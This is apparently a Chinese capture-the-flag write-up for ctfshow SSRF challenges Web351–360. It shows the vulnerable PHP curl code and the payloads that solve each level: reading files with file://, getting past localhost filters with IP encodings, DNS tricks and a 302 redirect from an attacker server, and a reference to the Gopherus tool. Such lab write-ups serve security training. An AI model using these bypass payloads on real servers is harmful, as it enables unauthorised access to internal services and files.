Web351
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
使用 file://读取文件
POST传入
url=file:var/www/html/flag.php
查看源码得到flag
Web352
- 使用端口号绕过
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
POST传入
url=http://127.0.0.1:80/flag.php
Web353
- 使用进制转换绕过
例如
127.0.0.1
八进制:0177.0.0.1
十六进制:
十进制:2130706433
POST
url=http://2130706433/flag.php
354
- 使用域名解析绕过
使用自己的域名
或者找个免费二级域名 A记录解析
传入
url=http://y2qaq.aote.xyz/flag.php
355
- 要求小于5
- 使用 127.1 绕过
传入
url=http://127.1/flag.php
356
- 要求小于=3
- 使用 0 绕过
url=http://0/flag.php
357
- 302 跳转
在你的服务器上创建 a.php,内容为
<?php
header("Location:http://127.0.0.1/flag.php");
?>
然后传入
url=http://服务器地址/a.php
358
- 利用 url解析
需要满足
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)
传入
url=http://ctf.@127.0.0.1/flag.php#show
359
使用工具 https://github.com/tarunkant/Gopherus
payload需要在进行一次url编码
360
和上一题一样